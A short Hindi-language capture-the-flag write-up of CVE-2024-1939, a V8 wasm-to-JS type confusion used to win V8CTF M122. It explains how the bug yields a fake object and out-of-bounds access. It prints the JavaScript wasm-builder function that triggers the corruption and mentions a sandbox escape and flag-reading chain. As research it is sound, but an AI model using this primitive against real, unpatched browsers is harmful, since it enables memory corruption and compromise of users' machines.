
V8CTF M122 के लिए
यह CVE-2024-1939 के लिए एक छोटा सा विवरण है, जिसका उपयोग मैंने V8CTF M122 को दावा करने के लिए किया।
इस समस्या का मूल कारण wasm-to-js रूपांतरण में kWasmS128 के लिए समर्थन की कमी है। विशेष रूप से, पैरामीटर स्टैक में होने वाले wasmS128Const ऑपरेशन को अनदेखा कर दिया जाता है, जिससे पैरामीटर में ExprRef होने पर प्रकार भ्रम (type confusion) होता है।
विस्तार में, यह एक int/float को सीधे किसी ऑब्जेक्ट में परिवर्तित कर देगा। इसलिए, arb लंबाई वाली एक नकली array बनाना आसान है, जो हमें oob पढ़ने और लिखने की क्षमता देगी। अभी भी एक बाधा है जिसे दरकिनार करना है: wasmS128Const केवल float प्रकार के params की जगह लेगा जो FPSlot में संग्रहीत होते हैं और GPSlot में संग्रहीत tagged params को प्रभावित नहीं करेगा। StackSlot में तरीके मौजूद हैं। FP/GP Regs के आकार की सीमाएँ हैं। उसके बाद params क्रम में StackSlot में संग्रहीत होंगे। यदि हम regs को भरते हैं और StackSlot पर एक float संख्या रखते हैं, तो tagged param StackSlot से पार्स किया जाएगा और हमें हमारा नकली ऑब्जेक्ट देगा।
अंतिम exp में सरलता और गति के लिए इस wasm मॉड्यूल का बिल्डर शामिल नहीं होगा, इसलिए मैं इसे यहाँ संलग्न करूँगा।
function get_corrupt(addr) {
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
u32[0] = addr;
u32[1] = 0;
const builder = new WasmModuleBuilder();
const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
const importId = builder.addImport('mod', 'foo', typeId);
builder.addDeclarativeElementSegment([importId]);
builder.addFunction('main', kSig_v_v)
.addLocals(wasmRefType(kWasmI31Ref), 1)
.addBody([
...wasmS128Const(0xdeadbeef, 0xdeadbeef),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(f64[0]),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI32Const(0xaaaaaaaa),
kGCPrefix, kExprRefI31, kExprLocalTee, 0,
kExprRefFunc, importId,
kExprRefFunc, importId,
kExprCallRef, typeId,
]).exportFunc();
const instance = builder.instantiate({ mod: { foo: ff } });
let f = instance.exports.main
f();
}
get_corrupt(addr);
मेमोरी को स्थिर करने के लिए एक वर्कर का उपयोग किया जाता है, क्योंकि यह देखा गया है कि वर्कर थ्रेड्स में पते अपेक्षाकृत स्थिर रहते हैं।
सैंडबॉक्स बायपास के लिए, V8-Sandbox-Escape-via-Regexp देखें। अंतिम exploit सामान्य orw श्रृंखलाओं का उपयोग करके stderr के माध्यम से flag लिखता है।